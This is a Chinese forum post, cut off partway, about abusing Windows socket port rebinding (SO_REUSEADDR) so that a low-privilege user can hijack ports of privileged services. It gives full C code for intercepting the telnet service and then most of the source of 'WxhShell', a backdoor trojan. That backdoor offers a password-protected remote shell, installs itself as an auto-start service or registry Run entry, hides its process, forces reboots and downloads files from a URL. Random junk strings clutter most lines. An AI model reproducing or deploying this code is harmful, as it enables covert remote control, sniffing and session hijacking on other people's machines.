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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DNTkv_S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o9GtS$ O\  
9rD6."G  
  saddr.sin_family = AF_INET; 3X|7 R  
j:k}6]p}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5~8FZ-x  
F/8="dM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +ftOJFkI  
Hg[g{A_G[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NWL\"xp `t  
4 H 4W  
  这意味着什么?意味着可以进行如下的攻击: "!w$7|% T  
,^Ug[pGG-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^ &UezDTS  
ppYIVI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Dn47V{7-  
"p Rr>Fa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `3wzOMgJ  
t?&@bs5~g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Xgb ~ED]  
d;:H#F+ (  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7tZvz `\  
1VXyn\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $!Qv f  
WF#3'"I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mE>v (JY  
>{ /As][  
  #include 6I8A[   
  #include ,q_'l?Pn  
  #include _U Q|I|V#  
  #include    1UHlA8w7 Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A5WchS'  
  int main() &Y `V A  
  { H]I^?+)9  
  WORD wVersionRequested; n7EG%q6m+  
  DWORD ret; PJ$C$G  
  WSADATA wsaData; !\'NBq,  
  BOOL val; KCDbE6  
  SOCKADDR_IN saddr; ='rSB.$Ctk  
  SOCKADDR_IN scaddr; 7A,QA5G ]C  
  int err; >0XB7sC  
  SOCKET s; U-]Rm}X\M  
  SOCKET sc; 9sQ #v-+Yx  
  int caddsize; E: 7R>.g  
  HANDLE mt; ?@@BIg-  
  DWORD tid;   EdC^L`::  
  wVersionRequested = MAKEWORD( 2, 2 ); At t~N TL  
  err = WSAStartup( wVersionRequested, &wsaData ); A vh"(j  
  if ( err != 0 ) { &7 0o4~Fr  
  printf("error!WSAStartup failed!\n"); n7A %y2  
  return -1; 'nx";[6(  
  } [c`u   
  saddr.sin_family = AF_INET; ?=^~(x?S  
   %@q/OVnM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &gv{LJd5b  
%)t9b@c!}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J 7/)XS  
  saddr.sin_port = htons(23); NT1"?Thx|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) isF jJPe  
  { g %ZKn  
  printf("error!socket failed!\n"); 2SABu796j  
  return -1; \h{M\bSIEa  
  } @nNhW  
  val = TRUE; M9PzA'}4W6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f+c<|"we  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M~!DQ1u  
  { S7(Vc H  
  printf("error!setsockopt failed!\n"); {J[5 {]Je[  
  return -1; 0b3z(x!O  
  } H?H(=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bP+b~!3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L_~vPp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' K\ $B_  
d*cAm$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .[Hv/?L  
  { H)@f_pfj(  
  ret=GetLastError(); qX_( M2oLU  
  printf("error!bind failed!\n"); <H]1 6  
  return -1; +G.F'  
  } RZL:k;}5  
  listen(s,2); mI4)+8SUu  
  while(1) r5s$#,O/&Q  
  { l2.L h<G  
  caddsize = sizeof(scaddr); Vi:<W0:  
  //接受连接请求 vR*TW   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 0KB:1(g  
  if(sc!=INVALID_SOCKET) OS{j5o  
  { f 8AgTw,K8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4k6,pt"  
  if(mt==NULL) =X24C'!Mpe  
  { ]+)cXJ}6#  
  printf("Thread Creat Failed!\n"); .I1k+   
  break; z>&|:VGG  
  } uK!G-1   
  }  y5!fbmf  
  CloseHandle(mt); ohW qp2~  
  } L2WH-XP=  
  closesocket(s);  9{(A-  
  WSACleanup(); m1\+~*i  
  return 0; ;Q{~jT  
  }   zEJZ,<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ojwhcb^  
  { iH;IXv,b3  
  SOCKET ss = (SOCKET)lpParam; =)O%5<Lwx  
  SOCKET sc; Y5&mJp\G  
  unsigned char buf[4096]; h,Nq:"}  
  SOCKADDR_IN saddr; ^ALR.N+<  
  long num; 6~O9|s^38w  
  DWORD val; <<iwJ U%:  
  DWORD ret; &}+^*X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 caC-JcDXy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {wS)M  
  saddr.sin_family = AF_INET; }iBFo\vU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #CcC& I :c  
  saddr.sin_port = htons(23); w1q`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b$,~S\\c  
  { >`S $(f  
  printf("error!socket failed!\n"); ~L55l2u7  
  return -1; <5fb, @YN  
  } MzP q(`W  
  val = 100; )_-EeH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yg<4}l."  
  { mAZfo53  
  ret = GetLastError(); P-25]-  
  return -1; y$h.k"x`  
  } #|ILeby  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R4 x!b`:i  
  { K4`)srd  
  ret = GetLastError(); nS$_VJ]~  
  return -1; `(Eiu$h6V-  
  } {OBV+}#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?ZS/`P0}[  
  { ]Lz:oV^%  
  printf("error!socket connect failed!\n"); 6.(L8.jv  
  closesocket(sc); )B1gX>J\8  
  closesocket(ss); %+F%C=GqI  
  return -1; or)v:4PXW  
  } ^v+3qm@,  
  while(1) M&q3xo"w  
  { =IC cN|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R/BW$4/E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J.;{`U=:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :@=;WB*0  
  num = recv(ss,buf,4096,0); ijuIf9!  
  if(num>0) >dU.ic?19  
  send(sc,buf,num,0); u.~`/O  
  else if(num==0) O S%  
  break; 4 >2g&);B  
  num = recv(sc,buf,4096,0); -l2aAK1M  
  if(num>0) t7; ^rk*  
  send(ss,buf,num,0); uNoP8U%*  
  else if(num==0) t_\;G~O9-M  
  break; R{3vPG  
  } 6{8dv9tK  
  closesocket(ss); Z+EN]02|  
  closesocket(sc); .r4M]1Of  
  return 0 ; 8+=-!": ]  
  } QH]G>+LI5  
vXUq[,8yf  
W, YYL(L  
========================================================== Xpp%j  
E,EpzB$_dj  
下边附上一个代码,,WXhSHELL q8-*3K  
//O9}-  
========================================================== Ku3/xcu:My  
x4 .Y&Wq#  
#include "stdafx.h" G0^,@jF?b  
-s5>GwZt  
#include <stdio.h> 2"IsNbWV  
#include <string.h> ~V`F5B  
#include <windows.h> E2%{?o  
#include <winsock2.h> 27CVAX ghV  
#include <winsvc.h> 898=9`7e  
#include <urlmon.h> \'[C_+;X  
G~$[(Fhk  
#pragma comment (lib, "Ws2_32.lib") j7u\.xu9  
#pragma comment (lib, "urlmon.lib") hxX-iQya  
g71|t7Q  
#define MAX_USER   100 // 最大客户端连接数 16Gp nb  
#define BUF_SOCK   200 // sock buffer 1*vt\,G  
#define KEY_BUFF   255 // 输入 buffer h^aUVuL/  
2nsW)bd  
#define REBOOT     0   // 重启 q?TI(J+/  
#define SHUTDOWN   1   // 关机 %!HBPLk  
4Y!_tZ>  
#define DEF_PORT   5000 // 监听端口 66jL2XU<  
HgfeSH  
#define REG_LEN     16   // 注册表键长度 xmp^`^v*  
#define SVC_LEN     80   // NT服务名长度 E3`&W8  
`k.Nphx~%  
// 从dll定义API Vh o3I[C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n+qa/<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _G1C5nkDl4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *\4u:1Cu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2Ysl|xRo  
{=A8kgt  
// wxhshell配置信息 yD\[`!sWk  
struct WSCFG { VHlo}Ek<#  
  int ws_port;         // 监听端口 2 ,bLEhu  
  char ws_passstr[REG_LEN]; // 口令 6O9?":3;  
  int ws_autoins;       // 安装标记, 1=yes 0=no !^m,v19Ds<  
  char ws_regname[REG_LEN]; // 注册表键名  XeRbn  
  char ws_svcname[REG_LEN]; // 服务名 `^#V1kRmH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =(%+S<}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %hO/2u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '"~ 2xiin  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U|!L{+F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WAWy3i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \&Bvh4Q  
stcbM  
}; d|Q_Z@;JF  
|',$5!:0O  
// default Wxhshell configuration H}}g\|r&  
struct WSCFG wscfg={DEF_PORT, %"{jNC?  
    "xuhuanlingzhe", n k@e#  
    1, sn=_-uoU  
    "Wxhshell", ,- FC  
    "Wxhshell", IN#Z(FMVC  
            "WxhShell Service", X@cO`P  
    "Wrsky Windows CmdShell Service", 2F- ]0kGR|  
    "Please Input Your Password: ", .e|VW)  
  1, J3P )oM[  
  "http://www.wrsky.com/wxhshell.exe", G;k#06  
  "Wxhshell.exe" 6B .x=  
    }; [fl x/E  
"T0s7LWp  
// 消息定义模块 `:y {  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Vl22'wl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WY3D.z-</  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QO|roE  
char *msg_ws_ext="\n\rExit."; }_ [Bp  
char *msg_ws_end="\n\rQuit."; [l%6wIP&{  
char *msg_ws_boot="\n\rReboot..."; //W7$DYEG  
char *msg_ws_poff="\n\rShutdown..."; 1GA$nFBVC  
char *msg_ws_down="\n\rSave to "; F9\T <  
;(1Xb   
char *msg_ws_err="\n\rErr!"; fO'"UI  
char *msg_ws_ok="\n\rOK!"; PW)Gd +y  
GR ^d/  
char ExeFile[MAX_PATH]; \cKY{(E  
int nUser = 0; wr+r J  
HANDLE handles[MAX_USER]; "S ~(|G  
int OsIsNt; f:_mrzz  
!\RBOdw C  
SERVICE_STATUS       serviceStatus; u:[vqlU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0S}ogU[k  
/rQ[Ik$|  
// 函数声明 \ =(r6X  
int Install(void); zFpM\{`[g  
int Uninstall(void); G:k]tZ*`  
int DownloadFile(char *sURL, SOCKET wsh); ugT;NB  
int Boot(int flag); M,V~oc5  
void HideProc(void); 5S&'O4yz^  
int GetOsVer(void); 7%g8&d  
int Wxhshell(SOCKET wsl); B>=NE.ulUL  
void TalkWithClient(void *cs); ~E J+<[/  
int CmdShell(SOCKET sock); We51s^(  
int StartFromService(void); $wq[W,'#L  
int StartWxhshell(LPSTR lpCmdLine); Q#a<T4l  
gZ b +m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :<w2j 6V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LLlt9(^d  
ljJi|+^$  
// 数据结构和表定义 qY^@^)b[  
SERVICE_TABLE_ENTRY DispatchTable[] = FWu[{X;  
{ zUNWcv!& "  
{wscfg.ws_svcname, NTServiceMain}, =mWr8p-H  
{NULL, NULL} S.Rqu+  
}; oMNgyAp^  
 +?I 1Og  
// 自我安装 X_tc\}I]  
int Install(void) F!yr};@^p  
{ _${//`ia=  
  char svExeFile[MAX_PATH]; q5D_bm7,3  
  HKEY key; `mt. =d  
  strcpy(svExeFile,ExeFile); njoU0f1`  
) }.<lSw  
// 如果是win9x系统,修改注册表设为自启动 G{C27k>wa  
if(!OsIsNt) { ,k=1 '7d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %DqPRl.Gu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1B#Z<p  
  RegCloseKey(key); -hjGPu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RqnT*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +dB/SC-^U  
  RegCloseKey(key); =!pfgE  
  return 0; e_iXR#bZc  
    } yi-S^  
  } ZM$}Xy\9  
} FR%u1fi  
else { 72;4  
A"$UU6Z4  
// 如果是NT以上系统,安装为系统服务 Q;EQ8pL?"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a9<&|L <  
if (schSCManager!=0) :p6.v>s8  
{ djGzJLH  
  SC_HANDLE schService = CreateService +2WvGRC  
  ( H/Wo~$  
  schSCManager, Kq. MmR!gl  
  wscfg.ws_svcname, mxxuD"5  
  wscfg.ws_svcdisp, &t0toEj  
  SERVICE_ALL_ACCESS, } eL*gy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _ U%fD|t  
  SERVICE_AUTO_START, .&R j2d  
  SERVICE_ERROR_NORMAL, }% m:^*@$9  
  svExeFile, [`'[)B  
  NULL, L4wKG&  
  NULL, %?`TyVt&0  
  NULL, QL{{GQ_dn  
  NULL, v\;hI5WY  
  NULL 3$E\B=7/U  
  ); 265sNaX  
  if (schService!=0) Vu u2SS  
  { 6n}5>GSF  
  CloseServiceHandle(schService); afJ`1l  
  CloseServiceHandle(schSCManager); rEl bzL"&<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); icnc5G  
  strcat(svExeFile,wscfg.ws_svcname); NDt +m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NE'4atQ|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fQ@k$W\  
  RegCloseKey(key); Xgs 31#K  
  return 0; K.{:H4_  
    } n,.ZLuBEX  
  } 4Em$L]7   
  CloseServiceHandle(schSCManager); +d=cI  
} EP ;TfWc}1  
} B > sTM  
$2?10}mrx  
return 1; AlQE;4yX  
} $u`v k|\R  
R"0fZENTG  
// 自我卸载 9*"Ae0ok1  
int Uninstall(void) YH%aPsi  
{ #UO#kC<2(B  
  HKEY key; Ig*qn# Dd  
G{8>  
if(!OsIsNt) { 8D[,z 7n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n%"0%A  
  RegDeleteValue(key,wscfg.ws_regname); 1E]|>)$  
  RegCloseKey(key); X9lh@`3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fT&>L  
  RegDeleteValue(key,wscfg.ws_regname); k~<b~VcU  
  RegCloseKey(key); /M.@dW7 w  
  return 0; p%_m!   
  } { 4(E @  
} f-!A4eKe  
} $Bd13%>)  
else { %^r}$mfy:0  
@H?_x/qBT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q')MKR*  
if (schSCManager!=0) iHp@R-g  
{ ATdK)gG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lM<SoC;[  
  if (schService!=0) 0d%p<c  
  { tk"+PTGJT  
  if(DeleteService(schService)!=0) { 4IW7^Pq`P  
  CloseServiceHandle(schService); :=I@<@82W  
  CloseServiceHandle(schSCManager); ]nEZ Q+F  
  return 0; ?\eq!bu  
  } v@8 =u4  
  CloseServiceHandle(schService); n<. T6  
  } quvdm68  
  CloseServiceHandle(schSCManager); hkh b8zS  
} kCq]#e~wq  
} &vy/Vd  
) Apg  
return 1; yLo{^4a.  
} c2,1d`  
\U1fUrw$*  
// 从指定url下载文件 bg8<}~zg  
int DownloadFile(char *sURL, SOCKET wsh) cP4K9:k  
{ k>N >_{\  
  HRESULT hr; Pd,+= ML  
char seps[]= "/"; eTV%+  
char *token; Mk*&CNo3  
char *file; Zv`j+b  
char myURL[MAX_PATH]; +:s]>R eDa  
char myFILE[MAX_PATH]; '_~X(izc  
j70]2NgX  
strcpy(myURL,sURL); ZW]Q|vPh4U  
  token=strtok(myURL,seps); 7,\Uk|  
  while(token!=NULL) m}x&]">9  
  { | CC(`<\R  
    file=token; `@Q%}J  
  token=strtok(NULL,seps); ~B NLzt3%O  
  } UHtxzp =[  
\Lz2"JI  
GetCurrentDirectory(MAX_PATH,myFILE); BZXP%{njS  
strcat(myFILE, "\\"); :oH~{EQ  
strcat(myFILE, file); .Q,IOCHk  
  send(wsh,myFILE,strlen(myFILE),0); "]jGCo>9  
send(wsh,"...",3,0); =-ky%3:`@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y11/:|  
  if(hr==S_OK) 9Yh0' <Z  
return 0; 4)o_gm~6c4  
else :?Xd&u0){  
return 1; 5 W<\J  
x<0-'EF/S  
} G%a8'3d,  
kH!I&4d&  
// 系统电源模块 hLVS}HE2  
int Boot(int flag) h48JpZ"  
{ :J3ZTyjb  
  HANDLE hToken; x4PH-f-7  
  TOKEN_PRIVILEGES tkp; n\nC.|_G@  
"%c\i-&t  
  if(OsIsNt) { k~(j   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I[~EQ {Iz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b6IYo!3  
    tkp.PrivilegeCount = 1; *cdr,AD?lH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; He)<S?X-6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wdt9k.hzN  
if(flag==REBOOT) { "d a%@Zy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <&7KcvBn"4  
  return 0; T K)Kq  
} iY=M67V  
else { lWv3c!E`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _]"5]c&*3  
  return 0; w1J&c'-  
} wff&ci28  
  } $B6"fYiDk  
  else { k,L,  
if(flag==REBOOT) { uC3o@qGW<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \dyJ=tg  
  return 0; _E e`Uk  
} {gE19J3  
else { *t;'I -1w^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :*bmc/c  
  return 0; Gs*FbrY  
} U9D4bn D  
} {emO&#=@CP  
 w' E  
return 1; zN(fZT}K5  
} g)*[W>M  
f-9& n4=H  
// win9x进程隐藏模块 ,3G8afo  
void HideProc(void) EDR;" G(N  
{ ta>:iQ a  
DWB.dP *8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G<kslTPyq  
  if ( hKernel != NULL ) r5b5`f4  
  { JM5 w`=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p @@TOS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %]JSDb=C  
    FreeLibrary(hKernel); Le9^,B@Pb  
  } '`q&UPg]  
c9\jELO  
return; NymS8hxR  
} .Od.lxz"mp  
.*u, !1u  
// 获取操作系统版本 k+>-?S,  
int GetOsVer(void) AZ)H/#be  
{ @[0zZX2EE  
  OSVERSIONINFO winfo; =`5Xx(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rn l~i  
  GetVersionEx(&winfo); *0)vsBi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6(4FC?Y7  
  return 1; +'abAST t  
  else :\x)`lu  
  return 0; N"2Ire  
} JcEPwF.  
8\m_.e  
// 客户端句柄模块 d `LBFH,  
int Wxhshell(SOCKET wsl) ]KfjZ!Qh  
{  ?[Od.  
  SOCKET wsh; $m`?x5rL8  
  struct sockaddr_in client; ql5NSQ>{  
  DWORD myID; "d'D:>z]%  
u8pJjn;  
  while(nUser<MAX_USER) *<n]"-  
{ :ND5po#(  
  int nSize=sizeof(client); *TY?*H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ANEW^\  
  if(wsh==INVALID_SOCKET) return 1; T:aYv;#0  
c&.>SR')  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V`Z-m-V~1  
if(handles[nUser]==0) *.wX9g9\  
  closesocket(wsh); K &m`1f  
else B1>aR 7dsf  
  nUser++; &wsxH4  
  } Q=lQy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w,dDA2,  
xJ>U_Gd  
  return 0; 1BK-uv:  
} ^ZX71-  
H: Rd4dl,  
// 关闭 socket ec/1Z8}p  
void CloseIt(SOCKET wsh) !6: kJL}U  
{ DjK:)  
closesocket(wsh); lz.ta!6  
nUser--; M XsSF|-  
ExitThread(0); N;e d_!  
} d@~Hp?  
; F% 3b47  
// 客户端请求句柄 ~aKxwH  
void TalkWithClient(void *cs) bD[W`yW0  
{ s^F6sXhyPi  
W'w;cy:H  
  SOCKET wsh=(SOCKET)cs; 1w}%>e-S  
  char pwd[SVC_LEN]; 5q<AMg  
  char cmd[KEY_BUFF]; Lu!o!>b  
char chr[1]; X(Gp3lG  
int i,j; :,03)[u{8  
&U%AVD[  
  while (nUser < MAX_USER) { ?s[ kUv+=  
?zW4|0  
if(wscfg.ws_passstr) { Vo^ i7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pu dIb|V2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,h,DB=!K<  
  //ZeroMemory(pwd,KEY_BUFF); /1ZRjf^  
      i=0; $s-/![ 6  
  while(i<SVC_LEN) { VWqmqR%  
.}Va~[0j  
  // 设置超时 f0+)%gO{  
  fd_set FdRead; &GF@9BXI3  
  struct timeval TimeOut; zi l^^wT0J  
  FD_ZERO(&FdRead); hw/ :  
  FD_SET(wsh,&FdRead); ]cvP !  
  TimeOut.tv_sec=8; Vvk1 D(  
  TimeOut.tv_usec=0; {2Jo|z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 555j@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NO5\|.,Z  
?5(Cwy ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z+IBy+  
  pwd=chr[0]; w.w(*5[  
  if(chr[0]==0xd || chr[0]==0xa) { YCr:nYm<f  
  pwd=0; 7 lc -  
  break; "J|{'k`  
  } (Tt\6-  
  i++; c:(Xk zj  
    } LUSBRr8  
53efF bo  
  // 如果是非法用户,关闭 socket -\C;2&(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hKo& ZWPq  
} 57 (bd0@8  
7]se!k,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UXpF$=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F(+,M~  
1vw [{.wC  
while(1) { z2'3P{#s  
aQzDOeTi  
  ZeroMemory(cmd,KEY_BUFF); 4e OS+&  
(JV [7u -  
      // 自动支持客户端 telnet标准   -JgN$Sf  
  j=0; [XK^3pT_  
  while(j<KEY_BUFF) { XdS&s}J[I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r6_g/7.-  
  cmd[j]=chr[0]; |6@s6]%X}  
  if(chr[0]==0xa || chr[0]==0xd) { g i>`  
  cmd[j]=0; h`Ld%iN\  
  break; d)hA'k  
  } BMaw]D  
  j++; Eod'Esye5  
    } _Sa7+d(  
+9EG6"..@H  
  // 下载文件 aY:u-1  
  if(strstr(cmd,"http://")) { 5dwC~vn}c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hO8~Rg   
  if(DownloadFile(cmd,wsh)) haNi [|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>`m1q:  
  else ~4-:;8a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C8dC_9  
  } _,r2g8qm  
  else { >#pZ`oPEAv  
FYe#x]ue  
    switch(cmd[0]) { 05 56#U&>  
  R*PR21g  
  // 帮助  mE1m  
  case '?': { oUSv)G.zb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l-/fFy)T  
    break; Qdt4h$~V"  
  } 3+:F2sjt  
  // 安装 s>pM+PoGYd  
  case 'i': { ^HiI   
    if(Install()) y}aKL(AaU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |azdFf6A:[  
    else C?OqS+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !i4/#H  
    break; Lp1\vfU<+  
    } I(rZ(|^A  
  // 卸载 u9c^:Op  
  case 'r': { zDK"Y{  
    if(Uninstall()) GpwoS1#)0|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Py1Q  
    else o paRk.p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 &O 0  
    break; YB`1S  
    } ]7|Zs]6  
  // 显示 wxhshell 所在路径 cmcR @zv  
  case 'p': { kg/<<RO  
    char svExeFile[MAX_PATH];  yxx9h3  
    strcpy(svExeFile,"\n\r"); |[+/ ]Y  
      strcat(svExeFile,ExeFile); NC @L,)F  
        send(wsh,svExeFile,strlen(svExeFile),0); ^uCZO  
    break; -d+o\qp"#  
    } 8?l/x  
  // 重启 yq6Gyoi<  
  case 'b': { TmEJ!)*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DH IC:6EY  
    if(Boot(REBOOT)) G*N}X3H:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ==!k99`f,  
    else { h85 kQ^%  
    closesocket(wsh); ov$S   
    ExitThread(0); wk9qyv<  
    } ]K0G!TR<  
    break; BmhIKXE{*  
    } i:/Ws1=q  
  // 关机 q+ZN$4m  
  case 'd': { OyG#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fk5$z0/  
    if(Boot(SHUTDOWN)) ~~iFs ,9  
